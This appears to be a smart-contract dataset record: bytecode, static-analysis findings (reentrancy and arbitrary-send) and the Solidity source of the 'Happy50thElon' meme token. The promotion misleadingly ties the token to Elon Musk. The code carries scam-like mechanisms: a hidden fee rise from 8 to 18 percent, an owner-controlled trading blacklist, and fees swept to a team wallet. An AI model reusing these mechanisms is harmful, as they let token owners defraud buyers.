4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361181613146565b811461361c57600080fd5b50565b61362881613158565b811461363357600080fd5b50565b61363f81613184565b811461364a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220500f9f8236da4a7355ad5caae21d60f2202fed07262e0d97f19f268c7e3e8f5464736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,834
0x33070d10A79c6739a5f2Bccf4b58b22298E20517
/** *Submitted for verification at Etherscan.io on 2021-06-28 */ /** Let's celebrate the 50th birthday of Elon Musk! He's the owner of several companies of SpaceX, Tesla, The Boring Company, OpenAI, Neuralink and Happy50thElon! For supporting a Elon Musk, we are going to launch the new token in the 11 AM of 28th June EST timezone. 🍰 No presale, No team tokens 🎂 No buy limit, No cooldown 🥮 Fair Launch 🍰 Liquidity will lock right after the launch 🎂 Not welcome sniping bots 🥮 Contract will announce in 15 ~ 20 minutes after the launch ☎️ Telegram: https://t.me/happy50elon 📱 Twitter: https://twitter.com/elonmusk 🗓 Countdown:https://www.timeanddate.com/countdown/birthday?iso=20210628T08&p0=822&msg=Happy+50th+Elon+Musk&font=cursive Chat will unmute after renounce. ___________________§§§§§§ _____________§§§§__§§__§§_§§§§§§ _____§§__§§_§§__§§_§§§§§§_§§__§§_§§____§§ _____§§__§§_§§§§§§_§§_____§§§§§§__§§__§§ _____§§§§§§_§§__§§_§§_____§§_______§§§§ _____§§__§§_§§__§§________§§________§§ _____§§__§§_________________________§§ _______§§§§§§___§§__§§§§§__§§§§§§_§§__§§ _______§§___§§__§§__§§__§§___§§___§§__§§ _______§§§§§§___§§__§§§§§____§§___§§§§§§ _______§§___§§__§§__§§_§§____§§___§§__§§ _______§§§§§§___§§__§§__§§___§§___§§__§§ __________§§§§§§§__________§§____§§ ___________§§___§§___§§§§§__§§__§§ ___________§§___§§__§§___§§__§§§§ ___________§§___§§__§§§§§§§___§§ __________§§§§§§§___§§___§§___§§ ____________________§§___§§ ________________¶¶ _______________¶¶¶¶_______________¶¶ ______________¶¶S¶¶______¶¶_____¶¶¶¶ _____________¶¶SS¶_____¶¶¶¶____¶¶SS¶ _____________¶¶S¶¶____¶¶SS¶___¶¶SS¶¶ ______________¶¶______¶SS¶_____¶SS¶ _____________¶¶¶¶¶_____¶¶_______¶¶ _____________¶__¶¶____¶¶¶¶¶____¶¶¶¶¶ _____________¶__¶¶____¶__¶¶____¶__¶¶ _____________¶__¶_____¶__¶¶____¶__¶¶ _____________¶__¶_____¶__¶¶____¶__¶ _____________¶__¶_____¶__¶_____¶__¶ ___________¶¶¶__¶¶¶¶¶¶¶__¶¶¶¶¶¶¶__¶ ________¶¶¶¶¶¶__¶11111¶__¶11111¶__¶¶¶¶ ______¶¶¶1111¶__¶11111¶__¶11111¶__¶11¶¶¶¶ _____¶¶111$11¶¶¶¶11111¶__¶11111¶¶¶¶11$11¶¶¶ ____¶¶111$$$$11111$111¶¶¶¶11$1111111$$$$11¶¶ ____¶¶¶¶111$11111$$$$111111$$$$1111111$11¶¶¶ ____¶__¶¶¶¶¶¶¶¶1111$111111111$1111111¶¶¶¶¶_¶ ___¶¶______¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶____¶¶¶ _¶¶¶¶_____§§________________________§§__¶¶11¶¶ ¶¶11¶¶__§§_§§___§§_____§§____§§___§§_§§_¶¶111¶ ¶111¶¶¶___§§___§§_§§__§§_§§_§§_§§___§§_¶¶¶111¶ ¶1111¶¶¶¶________§§_____§§____§§_____¶¶¶¶111¶¶ ¶¶¶¶111¶¶¶¶¶¶¶¶¶¶¶________¶¶¶¶¶¶¶¶¶¶¶¶¶¶11¶¶¶¶ __¶¶¶¶¶11111111¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶11111111¶¶¶ ____¶¶¶11111111111111111111111111111111111¶¶ _____¶¶¶¶111¶¶¶¶11111111¶¶11111111¶¶¶¶1111¶¶ ______¶¶¶¶¶¶¶¶¶¶¶111¶¶¶¶¶¶¶1111¶¶¶_¶¶¶¶¶¶¶ _______________¶¶¶¶¶¶¶¶___¶¶¶¶¶¶¶¶ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Happy50thElon is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Happy 50th Elon \xF0\x9F\x8E\x82"; string private constant _symbol = "Happy50Elon \xF0\x9F\x8E\x82"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 8; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 18; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; _maxTxAmount = 1000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e35565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612958565b61045e565b6040516101789190612e1a565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612fd7565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612909565b61048d565b6040516101e09190612e1a565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061287b565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061304c565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129d5565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061287b565b610783565b6040516102b19190612fd7565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d4c565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e35565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612958565b61098d565b60405161035b9190612e1a565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612994565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a27565b6110b7565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128cd565b611200565b6040516104189190612fd7565b60405180910390f35b60606040518060400160405280601481526020017f4861707079203530746820456c6f6e20f09f8e82000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461145a565b61055b846104a6611287565b6105568560405180606001604052806028815260200161371060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b61128f565b600190509392505050565b61056e611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f17565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610667611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f17565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610752611287565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c7d565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce9565b9050919050565b6107dc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f17565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601081526020017f48617070793530456c6f6e20f09f8e8200000000000000000000000000000000815250905090565b60006109a161099a611287565b848461145a565b6001905092915050565b6109b3611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f17565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906132ed565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d57565b50565b610b7d611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f17565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f97565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128a4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128a4565b6040518363ffffffff1660e01b8152600401610e1f929190612d67565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128a4565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612db9565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a50565b5050506001600e60166101000a81548160ff021916908315150217905550683635c9adc5dea00000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611061929190612d90565b602060405180830381600087803b15801561107b57600080fd5b505af115801561108f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b391906129fe565b5050565b6110bf611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114390612f17565b60405180910390fd5b6000811161118f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118690612ed7565b60405180910390fd5b6111be60646111b083683635c9adc5dea0000061205190919063ffffffff16565b6120cc90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111f59190612fd7565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612f77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612e97565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612fd7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612f57565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612e57565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612f37565b60405180910390fd5b611585610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f357506115c3610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5657600e60179054906101000a900460ff1615611826573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cf5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117295750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182557600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176f611287565b73ffffffffffffffffffffffffffffffffffffffff1614806117e55750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117cd611287565b73ffffffffffffffffffffffffffffffffffffffff16145b611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b90612fb7565b60405180910390fd5b5b5b600f5481111561183557600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118e257600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119fb5750600e60179054906101000a900460ff165b15611a9c5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4b57600080fd5b600f42611a58919061310d565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa730610783565b9050600e60159054906101000a900460ff16158015611b145750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b2c5750600e60169054906101000a900460ff165b15611b5457611b3a81611d57565b60004790506000811115611b5257611b5147611c7d565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfd5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0757600090505b611c1384848484612116565b50505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c589190612e35565b60405180910390fd5b5060008385611c7091906131ee565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ce5573d6000803e3d6000fd5b5050565b6000600654821115611d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2790612e77565b60405180910390fd5b6000611d3a612143565b9050611d4f81846120cc90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611db5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611de35781602001602082028036833780820191505090